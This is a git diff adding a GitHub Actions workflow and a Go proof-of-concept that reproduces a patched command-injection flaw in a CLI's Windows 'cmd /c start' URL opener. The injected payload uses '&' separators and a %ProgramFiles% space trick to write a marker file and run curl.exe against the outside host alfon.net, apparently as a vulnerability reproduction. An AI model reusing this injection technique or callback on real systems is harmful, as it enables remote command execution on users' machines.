diff --git a/.github/workflows/windows-openurl-repro.yml b/.github/workflows/windows-openurl-repro.yml
new file mode 100644
index 00000000..41a0937c
--- /dev/null
+++ b/.github/workflows/windows-openurl-repro.yml
@@ -0,0 +1,30 @@
+name: windows-openurl-repro
+
+on:
+  pull_request:
+    paths:
+      - .github/workflows/windows-openurl-repro.yml
+      - scripts/repro_windows_openurl/**
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+jobs:
+  unpatched-cmd-start:
+    runs-on: windows-latest
+    steps:
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+      - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5
+        with:
+          go-version-file: go.mod
+          cache: true
+      - name: Reproduce v0.1.2 cmd /c start injection
+        run: go run ./scripts/repro_windows_openurl
+      - name: Point at alfon.net query
+        if: always()
+        shell: bash
+        run: |
+          echo "Look for http://alfon.net?g${{ github.run_id }} in alfon.net / Cloudflare logs."
+          echo "run_id=${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY"
+          echo "lookup=http://alfon.net?g${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY"
diff --git a/scripts/repro_windows_openurl/main.go b/scripts/repro_windows_openurl/main.go
new file mode 100644
index 00000000..74bfeb35
--- /dev/null
+++ b/scripts/repro_windows_openurl/main.go
@@ -0,0 +1,88 @@
+// Command repro_windows_openurl reproduces the v0.1.2 Windows OpenURL sink:
+// exec.Command("cmd", "/c", "start", "", url) with a customer-ID-shaped
+// payload. Current main uses ShellExecuteW instead; this binary talks to
+// cmd.exe directly so the unpatched parser can be observed on a GHA runner.
+//
+// The payload writes a local marker and GETs http://alfon.net?g<run_id>.
+// It does not read files or send secrets.
+package main
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"time"
+)
+
+func main() {
+	if runtime.GOOS != "windows" {
+		fmt.Fprintln(os.Stderr, "windows only")
+		os.Exit(2)
+	}
+
+	runID := os.Getenv("GITHUB_RUN_ID")
+	if runID == "" {
+		runID = "local"
+	}
+
+	cwd, err := os.Getwd()
+	if err != nil {
+		fmt.Fprintln(os.Stderr, err)
+		os.Exit(1)
+	}
+	marker := filepath.Join(cwd, "RCBB_CLI_EXECUTED.txt")
+	httpBody := filepath.Join(cwd, "RCBB_HTTP.txt")
+	_ = os.Remove(marker)
+	_ = os.Remove(httpBody)
+
+	// No literal spaces/tabs/quotes: Go's EscapeArg would quote the whole
+	// URL and cmd.exe would not treat & as a command separator. A comma is
+	// not a reliable argv splitter for external exes, so expand a space
+	// from %ProgramFiles% ("C:\Program Files", index 10).
+	sp := `%ProgramFiles:~10,1%`
+	url := "https://app.revenuecat.com/projects/x/customers/rcbb" +
+		`&echo>%CD%\RCBB_CLI_EXECUTED.txt` +
+		`&curl.exe` + sp + `-s` + sp + `-o` + sp + `%CD%\RCBB_HTTP.txt` + sp +
+		`http://alfon.net?g` + runID
+
+	fmt.Printf("run_id=%s\n", runID)
+	fmt.Printf("lookup=http://alfon.net?g%s\n", runID)
+	fmt.Printf("url=%s\n", url)
+	fmt.Printf("::notice::alfon.net query g%s\n", runID)
+
+	cmd := exec.Command("cmd", "/c", "start", "", url)
+	cmd.Dir = cwd
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Run(); err != nil {
+		fmt.Fprintf(os.Stderr, "cmd.Run: %v\n", err)
+	}
+
+	deadline := time.Now().Add(15 * time.Second)
+	for time.Now().Before(deadline) {
+		if _, err := os.Stat(marker); err == nil {
+			break
+		}
+		time.Sleep(200 * time.Millisecond)
+	}
+
+	if _, err := os.Stat(marker); err != nil {
+		fmt.Fprintln(os.Stderr, "FAIL: marker not created; & split did not run")
+		os.Exit(1)
+	}
+	fmt.Println("PASS: local marker created (cmd.exe parsed &)")
+
+	b, err := os.ReadFile(httpBody)
+	if err != nil || len(b) == 0 {
+		fmt.Fprintln(os.Stderr, "FAIL: injected curl did not write HTTP body")
+		os.Exit(1)
+	}
+	fmt.Printf("http_body_len=%d\n", len(b))
+	head := b
+	if len(head) > 256 {
+		head = head[:256]
+	}
+	fmt.Printf("http_body_head=%q\n", head)
+}